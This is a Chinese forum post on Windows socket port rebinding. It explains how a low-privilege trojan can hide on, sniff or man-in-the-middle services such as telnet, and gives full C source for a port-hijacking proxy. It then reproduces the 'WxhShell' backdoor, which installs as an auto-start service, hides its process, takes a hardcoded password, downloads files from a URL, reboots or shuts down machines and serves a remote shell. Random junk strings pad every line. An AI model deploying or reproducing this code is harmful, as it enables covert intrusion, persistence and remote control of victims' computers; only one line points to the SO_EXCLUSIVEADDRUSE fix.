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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b]cnTR2E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); # )]L3H<  
YR/%0^M'0  
  saddr.sin_family = AF_INET; 6h%_\I.Z[[  
KKJ)BG?qZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CE;J`;  
CP"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5KIlU78  
$2'Q'Mx[gd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v3 ]mZ}W$  
wi$,Y. :  
  这意味着什么?意味着可以进行如下的攻击: ^DH*\ee  
t+<?$I[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W34_@,GD  
.&2Nm&y$ K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .5K}R<  
Lk>o`<*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |';oIYs|$  
(dgBI}Za  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S?K x:]  
%.[jz,;)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `<x((@#  
~us1Df0bp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $9}jU#Z|hd  
{sb2r%U!+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5vo5t0^o  
PRQEk.C  
  #include 6#za\[  
  #include yHNx,ra   
  #include z8-dntkf  
  #include    7wB*@a-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H{CiN  
  int main() L-z9n@=8\  
  { Gw1Rp  
  WORD wVersionRequested; N&jHU+{OU  
  DWORD ret; w+W! dM  
  WSADATA wsaData;  J*FUJT  
  BOOL val; EPu-oE=HW4  
  SOCKADDR_IN saddr; y13Y,cz~B  
  SOCKADDR_IN scaddr; 5[5|_H+0  
  int err; v_L2>Pa.  
  SOCKET s; K2 b\9}  
  SOCKET sc; Uuq*;L  
  int caddsize; n3B#M}R  
  HANDLE mt; kX)QHNzP  
  DWORD tid;   .mwB'Ll  
  wVersionRequested = MAKEWORD( 2, 2 ); +]dh`8*8>1  
  err = WSAStartup( wVersionRequested, &wsaData ); &$L6*+`h#  
  if ( err != 0 ) { N3$%!\~O  
  printf("error!WSAStartup failed!\n"); poU1Q#+4p*  
  return -1; V''?kVJ  
  } Z;M th#  
  saddr.sin_family = AF_INET; c]]e(  
   r~q 3nIe/,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $LOwuvu>  
:pXY/Pa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KMll8X  
  saddr.sin_port = htons(23); }|u>b!7_.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ygs:Ox"[-G  
  {  JcJc&cG  
  printf("error!socket failed!\n");  up==g  
  return -1; tRu j}n+x  
  } Uy98lv  
  val = TRUE; @t{`KB+ ^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "OWW -m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -|g9__|@  
  { )kk10AZV-E  
  printf("error!setsockopt failed!\n"); #w6ty<b;  
  return -1; Hzc5BC  
  } 6tZ ak1=V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 64LAZE QX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [~{'"-3L0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;m#_Rj6  
^{ {0ajI9C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U ljWBd  
  {  "[ #.  
  ret=GetLastError(); cJLAP%.L  
  printf("error!bind failed!\n"); s8V:;$ !  
  return -1; aExt TE  
  } .NSV%I  
  listen(s,2); G(;R+%pu  
  while(1) I#UL nSJ3  
  { F_.1^XM  
  caddsize = sizeof(scaddr); des.TSZ  
  //接受连接请求 9!?Ywc>0#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7xh91EU:4  
  if(sc!=INVALID_SOCKET) U%r|hn3  
  { TD.t)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8T5W6Zs1  
  if(mt==NULL) iiLDl  
  { {M ^5w  
  printf("Thread Creat Failed!\n"); Bg.  
  break; Uu[dx}y  
  } \5P 5N]]  
  } >UnLq:G  
  CloseHandle(mt); ]O&\Pn0q  
  } a^g}Z7D'T  
  closesocket(s); Z9q1z~qSQ  
  WSACleanup(); ~c`%k>$  
  return 0; eZ8DW6l*  
  }   sv)4e)1  
  DWORD WINAPI ClientThread(LPVOID lpParam) vlC$0P  
  { o3cE.YUF  
  SOCKET ss = (SOCKET)lpParam; ~xt]g zp{  
  SOCKET sc; "h7Np/ m3  
  unsigned char buf[4096]; ^H`4BWc  
  SOCKADDR_IN saddr; G#YBfPmr  
  long num; oS^g "hQ`\  
  DWORD val; >ud u~  
  DWORD ret; 7G=Q9^J.H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ijACfl{!:t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +:3s f%0  
  saddr.sin_family = AF_INET; =wznkqyhi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !CUM*<iV  
  saddr.sin_port = htons(23); xV"~?vD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3$4I  
  { {[~dI ~  
  printf("error!socket failed!\n"); #ON^6f2  
  return -1; VQ;'SY:`  
  } !>\g[C  
  val = 100; KGrYF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *FFD G_YG?  
  { 5}TTf2&Xo#  
  ret = GetLastError(); "Pl.G[Buc-  
  return -1; ^G14Z5.  
  } <9]J/w+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eCjyx|:J  
  { [&sabM`Ul  
  ret = GetLastError(); Ys]cJ]  
  return -1; -_BX\iP{  
  } cq~~a(IS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2oo\SmO]  
  { J\hqK*/8  
  printf("error!socket connect failed!\n"); )Lg~2]'?j  
  closesocket(sc); C9 j{:&  
  closesocket(ss); 9L>73P{_  
  return -1; .UYhj8  
  } =g|5VXW5  
  while(1) !NMiWG4R  
  { D< 0))r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VV"w{#XKw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i,2eoM)FB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3LZvlcLb  
  num = recv(ss,buf,4096,0); mhI   
  if(num>0) {7Hc00FM  
  send(sc,buf,num,0); 7c83g2|%   
  else if(num==0) F_@?'#m  
  break; ]fSpG\yU  
  num = recv(sc,buf,4096,0); e_}tK1XY  
  if(num>0) |3BxNFe`%  
  send(ss,buf,num,0); xAr&sGMA  
  else if(num==0) )JhB!P(  
  break; R-tZC9 @  
  } y1B' _s  
  closesocket(ss); S@Aw1i p  
  closesocket(sc); Z|xgZG{  
  return 0 ; kAs=5_?I  
  } "gt1pf~y  
_6 @GT  
0nZQ" {x  
========================================================== ,I H~  
R`M@;9I.@  
下边附上一个代码,,WXhSHELL HLPY%VeD  
K^I B1U$  
========================================================== erOj(ce  
|>b;M ,`OO  
#include "stdafx.h" Cx&l0ZXHEX  
wQ8<%qi"L  
#include <stdio.h> [-Xah]g  
#include <string.h> Sa@T#%oU  
#include <windows.h> I~4!8W-Y  
#include <winsock2.h> \f7R^;`_<R  
#include <winsvc.h> , [<$X{9  
#include <urlmon.h> zm3$)*p1  
%<`sDO6Q?  
#pragma comment (lib, "Ws2_32.lib") >J#/IjCW  
#pragma comment (lib, "urlmon.lib") P 1  
^91Ae!)d  
#define MAX_USER   100 // 最大客户端连接数 'EN80+xYX  
#define BUF_SOCK   200 // sock buffer FSkLR h  
#define KEY_BUFF   255 // 输入 buffer `3*QKi$  
#e1iYFgS  
#define REBOOT     0   // 重启 yq[. WPve  
#define SHUTDOWN   1   // 关机 lYmxd8  
`dhBLAt  
#define DEF_PORT   5000 // 监听端口 YMVmpcz  
6{I6'+K~  
#define REG_LEN     16   // 注册表键长度 Vi>P =i  
#define SVC_LEN     80   // NT服务名长度 .>S1do+  
J> "qeR /  
// 从dll定义API + Y!:@d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s^m`qi(H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (\nEU! Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KwgFh#e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n@6vCdk.  
p)VMYu  
// wxhshell配置信息 E{}J-_oS45  
struct WSCFG { ^Jw=5 ImG  
  int ws_port;         // 监听端口 t{,e{oZx  
  char ws_passstr[REG_LEN]; // 口令 pu_?) U  
  int ws_autoins;       // 安装标记, 1=yes 0=no z#lIu  
  char ws_regname[REG_LEN]; // 注册表键名 *=tA},`\7  
  char ws_svcname[REG_LEN]; // 服务名 y6Ez.$M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LW#U+bv]Dq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +S'm<}"1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }z,9!{~`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eZD"!AT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }2S)CL=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {R"mvB`  
{`-AIlH(  
}; Hp5.F>-  
-2'+GO7G  
// default Wxhshell configuration CR;E*I${  
struct WSCFG wscfg={DEF_PORT, g~U<0+&yw%  
    "xuhuanlingzhe", KpDb%j  
    1, *3s-=.U~  
    "Wxhshell", VVcli*  
    "Wxhshell", JJ'f\f9  
            "WxhShell Service", Y!+H9R  
    "Wrsky Windows CmdShell Service", qJ2Z5  
    "Please Input Your Password: ", X_!km-{  
  1, h50]%tp\  
  "http://www.wrsky.com/wxhshell.exe", /%gMzF  
  "Wxhshell.exe" 1 ^30]2'_  
    }; ju07gzz  
&%g$Bi,G  
// 消息定义模块 #XG3{MGX[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R~eLEjezm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kU#k#4X4g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6:AEg  
char *msg_ws_ext="\n\rExit."; Af r*'  
char *msg_ws_end="\n\rQuit."; 5>UQ3hWo  
char *msg_ws_boot="\n\rReboot...";  \< dg  
char *msg_ws_poff="\n\rShutdown..."; "zkQu  
char *msg_ws_down="\n\rSave to "; YV} "#  
r4<As`&  
char *msg_ws_err="\n\rErr!"; !b&+2y2i[W  
char *msg_ws_ok="\n\rOK!"; 4* I XBi7%  
h<bhH=6~  
char ExeFile[MAX_PATH]; ~gHn>]S0  
int nUser = 0; P00%EB  
HANDLE handles[MAX_USER]; Z9|A"[b  
int OsIsNt; s0:M'wA  
9JX@c k  
SERVICE_STATUS       serviceStatus; {:3:GdM6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %3AE2"  
pvb&vtp  
// 函数声明 l<+PA$+}}  
int Install(void); 'X6Z:dZY  
int Uninstall(void); g4YlG"O[~  
int DownloadFile(char *sURL, SOCKET wsh); !aKu9SR^e  
int Boot(int flag); |MagK$o  
void HideProc(void); kR:kn:  
int GetOsVer(void);  \m+=|  
int Wxhshell(SOCKET wsl); #`!mQSK  
void TalkWithClient(void *cs); D u T6Od/f  
int CmdShell(SOCKET sock); sv!v`zh  
int StartFromService(void); #Ma:Av/ )  
int StartWxhshell(LPSTR lpCmdLine); !0P:G#o-$  
w%..*+P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JYmYX-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '.<c[Mp  
cd=|P?B i  
// 数据结构和表定义 g'{?j~g  
SERVICE_TABLE_ENTRY DispatchTable[] = (y~%6o6  
{ :U=3*f.{  
{wscfg.ws_svcname, NTServiceMain}, "C(yuVK1G  
{NULL, NULL} ru6M9\h*  
}; R MOs1<D  
VW*?(,#j{  
// 自我安装 A?$-Uqb"  
int Install(void) kjB'W zZ8  
{ Qe-Pg^PS]  
  char svExeFile[MAX_PATH]; D~Ef%!&  
  HKEY key; KUK.;gG*Z  
  strcpy(svExeFile,ExeFile); `& h-+  
e+F $fQt>  
// 如果是win9x系统,修改注册表设为自启动 [\Nmm4  
if(!OsIsNt) { 4]$OO'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K=E+QvSG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gat;Er  
  RegCloseKey(key); xx|D#Z}G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |yz o|%]3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -iY-rzW  
  RegCloseKey(key); `#wEa'v6  
  return 0; q@O  
    } s6Dkh}:d  
  } (5,x5l]-N  
} (6NDY5h~=n  
else { S'W,AkT  
d*VvQU8C  
// 如果是NT以上系统,安装为系统服务 ryw%0H18  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !#WQ8s!?o  
if (schSCManager!=0) JM?__b7g2  
{ aG#d41O  
  SC_HANDLE schService = CreateService VzIZT{  
  ( Pk;yn;  
  schSCManager,  7U1 M;@y  
  wscfg.ws_svcname, ,4`Vl<6  
  wscfg.ws_svcdisp, Y .cjEeL@  
  SERVICE_ALL_ACCESS, 6 C O5:\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q4L=]qc T  
  SERVICE_AUTO_START, QBH|pr  
  SERVICE_ERROR_NORMAL, D&I/Tbc  
  svExeFile, /$]S'[5uF  
  NULL, 4o;;'P   
  NULL, k;`1Ia  
  NULL, m. p'LF  
  NULL, Lwx J:Kz.  
  NULL bvrXz-j  
  ); - 0q263z  
  if (schService!=0) _9H]:]1QH  
  { d>W#c8X>  
  CloseServiceHandle(schService); {.p;V  
  CloseServiceHandle(schSCManager); ?U[6X| 1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i2rSP$j  
  strcat(svExeFile,wscfg.ws_svcname); [Gv8Fn/aG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !g6=/9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WagL8BpLx  
  RegCloseKey(key); maY.Z<lN  
  return 0; 7l/lY-zO  
    } !lL `L \  
  } 3c7i8b$  
  CloseServiceHandle(schSCManager); Ba5*]VGG  
} O(2c_!d  
} Eu~1t& 4  
wB' !@>db  
return 1; LyNmn.nN  
} Ok@`<6v  
 E>i<2  
// 自我卸载 FG{,l=Z0  
int Uninstall(void) zVf79UrK  
{ On~KTt3Mp  
  HKEY key; WcS`T?Xa  
)8rF'pxI  
if(!OsIsNt) { o _l_Yi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8>LDo"<  
  RegDeleteValue(key,wscfg.ws_regname); 3**t'iWQ  
  RegCloseKey(key); G 4~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VF";p^  
  RegDeleteValue(key,wscfg.ws_regname); L(cKyg[R  
  RegCloseKey(key); RSbq<f>BFo  
  return 0; |<,0*2  
  } 8> $=p4bf  
} L@=$0p41;  
} SCe$v76p#  
else { r-xP 6  
lw}7kp4 2F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E R~RBzp  
if (schSCManager!=0) k'N``.  
{ S ~h*U2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .{ljhE:  
  if (schService!=0) cF=WhP*f  
  { cN?/YkW?]  
  if(DeleteService(schService)!=0) { j$XaO%y)  
  CloseServiceHandle(schService); <-b9 )>  
  CloseServiceHandle(schSCManager); .K(9=yh  
  return 0; vY|YqWt  
  } Xx[,n-rA  
  CloseServiceHandle(schService); }2e s"  
  } cuumQQ  
  CloseServiceHandle(schSCManager); rO.[/#p\  
} CadIu x^  
} eD2eDxN2  
yvzH}$!]  
return 1; yp^k;G?_d  
} \xl$z *zI  
z,E`+a;  
// 从指定url下载文件 EirZ}fDJzB  
int DownloadFile(char *sURL, SOCKET wsh) 7)[Ve1;/N  
{ +[MHl  
  HRESULT hr; GH-Fqz  
char seps[]= "/"; P7,g^:$  
char *token; Br}@Vvq@  
char *file; ENr#3+m$;  
char myURL[MAX_PATH]; WwZ3hd  
char myFILE[MAX_PATH]; s$fX ;  
Ai[@2AyU  
strcpy(myURL,sURL); {D..(f1*u  
  token=strtok(myURL,seps); Ri_2@U-  
  while(token!=NULL) ~CV.Ci.dG  
  { :;+_<pk  
    file=token; ]dJ"_  
  token=strtok(NULL,seps); ~&RrlFh  
  } ?<W|Ya  
Nb !i_@m%s  
GetCurrentDirectory(MAX_PATH,myFILE); I;E?;i  
strcat(myFILE, "\\"); d_pIB@J  
strcat(myFILE, file); .*9u_2<  
  send(wsh,myFILE,strlen(myFILE),0); nh@JGy*L  
send(wsh,"...",3,0); 0x5Ax=ut  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l=l$9H,  
  if(hr==S_OK) 6s~B2t:Y  
return 0; )fIG4#%\  
else $.d,>F6  
return 1; l-v m`-_#  
Keo<#Cc?  
} hF@%k ;I  
zng.(]U/?H  
// 系统电源模块 ,vf#e= Z  
int Boot(int flag) 'm6bfS^T  
{ Lp(`m=;O  
  HANDLE hToken; hbvcIGaT  
  TOKEN_PRIVILEGES tkp; uHZ4 @ w:  
6.KEe^[-  
  if(OsIsNt) { ] L#c <0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jh&DL8`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : Bo  
    tkp.PrivilegeCount = 1; xxl|j$m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e/:?9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q Kr/  
if(flag==REBOOT) { ^JMG'@x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |,oLZC Na  
  return 0; E' `;  
} yn]Sc<uK  
else { ]jVE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xl,% Z~[  
  return 0; |X A0F\  
} fvH{ va.  
  } $"|r7n5[  
  else { 5m0lk|`  
if(flag==REBOOT) { 1~~GF_l?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E%D.a=UX,  
  return 0; |k*bWuXgLs  
} <W8 %eRfU  
else { =d ;#Nu-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [fT$# '6  
  return 0; JZxA:dg l  
} 0%L:jq{5  
} @M<qz\ [  
=6:9y}~  
return 1; YzG?K0O%  
} jR[c3EA ;  
&a=rJvnIO&  
// win9x进程隐藏模块 SZrc-f_  
void HideProc(void) ^ }5KM87  
{ fu~iF  
f9>pMfi:@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o jxK8_kl  
  if ( hKernel != NULL ) wH@S$WT  
  { Yu)GV7\2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J Hm Pa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $},XRo&R  
    FreeLibrary(hKernel); }`QZV_  
  } l\V1c90m  
'R-\6;3E>9  
return; `~=z0I  
} N]/cBGy  
Km= Y^x0  
// 获取操作系统版本 K*DH_\SPK  
int GetOsVer(void) \ Xh C  
{ )6p6<y  
  OSVERSIONINFO winfo; DDGDj)=`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \7qj hA@  
  GetVersionEx(&winfo); t(roj@!x_o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +3zQ"lLD^  
  return 1; 1I69O6"  
  else nF]R "  
  return 0; VvP: }yJ  
} Ieq_XF]U  
:^{KY(3  
// 客户端句柄模块 'bM=  
int Wxhshell(SOCKET wsl) 4<UAT|L^`  
{ qCrpc=  
  SOCKET wsh; 9{A4>  
  struct sockaddr_in client; *?1\S^7R  
  DWORD myID; Tb2#y]27  
3zKeN:w  
  while(nUser<MAX_USER) wt9f2  
{ iZnLgkk@  
  int nSize=sizeof(client); VV$#<D<)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j?o6>j  
  if(wsh==INVALID_SOCKET) return 1; :'<;]~f  
/P9fcNP{y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fyw X  
if(handles[nUser]==0) u5rvrn ]  
  closesocket(wsh); ZaY|v-  
else 4l*cX1!  
  nUser++; o@360#njF  
  } .J @mpJdY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J?Y,3cc.  
fP4P'eI  
  return 0; PD S( /x&  
} 7@gH{p1  
\ Qx%7 6  
// 关闭 socket (fl$$$  
void CloseIt(SOCKET wsh) )mN/e+/Lu  
{ + (:Qf+:  
closesocket(wsh); (:E@kpK  
nUser--; S`b!sT-sD  
ExitThread(0); Yh!k uS#<  
} BH}Cx[n?~  
"eTALRL'o  
// 客户端请求句柄 MYVVI1A  
void TalkWithClient(void *cs) .3_u5N|[=W  
{ j ]%XY+e  
t D 8l0  
  SOCKET wsh=(SOCKET)cs; 1|G\&T   
  char pwd[SVC_LEN]; nJv=kk1|o  
  char cmd[KEY_BUFF]; 1@LUxU#Uu$  
char chr[1]; J"E _i]  
int i,j; ^.@%n1I"5y  
X)RgXl{  
  while (nUser < MAX_USER) { 5K?/-0yG  
IOxtuR  
if(wscfg.ws_passstr) { "S'Yn-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (m Yi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *rxYal4ad  
  //ZeroMemory(pwd,KEY_BUFF); $u ,6x~>  
      i=0; YhRy C*b  
  while(i<SVC_LEN) { [ t8]'RI%  
J{a9pr6  
  // 设置超时 =c,7uB  
  fd_set FdRead; 38X{>*  
  struct timeval TimeOut; =w!9:I&a0  
  FD_ZERO(&FdRead); SnUR?k1  
  FD_SET(wsh,&FdRead); eF7I 5k4  
  TimeOut.tv_sec=8; fH9"sBiO  
  TimeOut.tv_usec=0; t~ I;IB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4/*@cW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |%XcI3@*  
}JQy&V%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &|'yqzS3  
  pwd=chr[0]; dJrUcZBr  
  if(chr[0]==0xd || chr[0]==0xa) { uR2|>m  
  pwd=0; ^uw]/H3?L  
  break; bnvY2-O6  
  } s"$K2k;J  
  i++; 8"d??3ZXJ  
    } kQ&Q_FSO  
54WX#/<Yik  
  // 如果是非法用户,关闭 socket ,S(Z\[x0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hq>hnCT  
} c]U+6JH  
byt$Wqdl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3 .j/D^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ct,;V/Dx  
F}[!OYyg  
while(1) { B9 ?58v&  
+zDRed_]=_  
  ZeroMemory(cmd,KEY_BUFF); zHNBX Rx  
/G]/zlUE  
      // 自动支持客户端 telnet标准   L|(U%$  
  j=0; GJS(  
  while(j<KEY_BUFF) { wXnVQ-6H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >;j&]]-&  
  cmd[j]=chr[0]; W79.Nj2`  
  if(chr[0]==0xa || chr[0]==0xd) { |${ImP  
  cmd[j]=0; |XNw&X1VF  
  break; ui`EODhA(  
  } >Sw?F&  
  j++; ra^%__N}  
    } #k &#d9}  
:nl,A c  
  // 下载文件 *+6iXMwe  
  if(strstr(cmd,"http://")) { (5:pHX`P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f9y+-GhaD  
  if(DownloadFile(cmd,wsh)) ='1hvv/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j bT{K|d-  
  else 5"1wz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6#jql  
  } < 0~1   
  else { [x=(:soEqC  
D-i, C~W  
    switch(cmd[0]) { 6'uCwAQU  
  X$Q.A^9  
  // 帮助 U6H3T0#  
  case '?': { /f oI.S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D(<0tU^[  
    break; ?D9iCP~~  
  } hG<[F@d  
  // 安装 -nUK%a"(D  
  case 'i': { ^ )!eiM  
    if(Install()) '+iLW~   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;0 +Dx~  
    else 0/!0W%f[}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ycR/X  
    break; X6w+L?A  
    } - 3PLP$P  
  // 卸载 ([rSYKpi  
  case 'r': { <:nyRy}  
    if(Uninstall()) S fY9PNck\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %FqQ+0^  
    else t"J{qfNs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {(Mmv[y  
    break; `Z{s,!z  
    } z_KCG2=5  
  // 显示 wxhshell 所在路径 DMp@B]>  
  case 'p': { e$Yvy>I'tS  
    char svExeFile[MAX_PATH]; G^VOA4  
    strcpy(svExeFile,"\n\r"); bF,.6iKI  
      strcat(svExeFile,ExeFile); ;:R2 P@6f  
        send(wsh,svExeFile,strlen(svExeFile),0); CZ$B2i6  
    break; ~FXq%-J  
    } 7\nXJ381  
  // 重启 S&[9Vb  
  case 'b': { glROT@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; 5[W*,7s  
    if(Boot(REBOOT)) z`Nss o=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $txF|Fj]^A  
    else { uz$p'Q  
    closesocket(wsh); ^k^?>h  
    ExitThread(0); w0H#M)c  
    } F)imeu  
    break; { JDD"z  
    } \K%M.>]vq  
  // 关机 J 48$l(l3  
  case 'd': {  [Ne'2z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]Z=al`-  
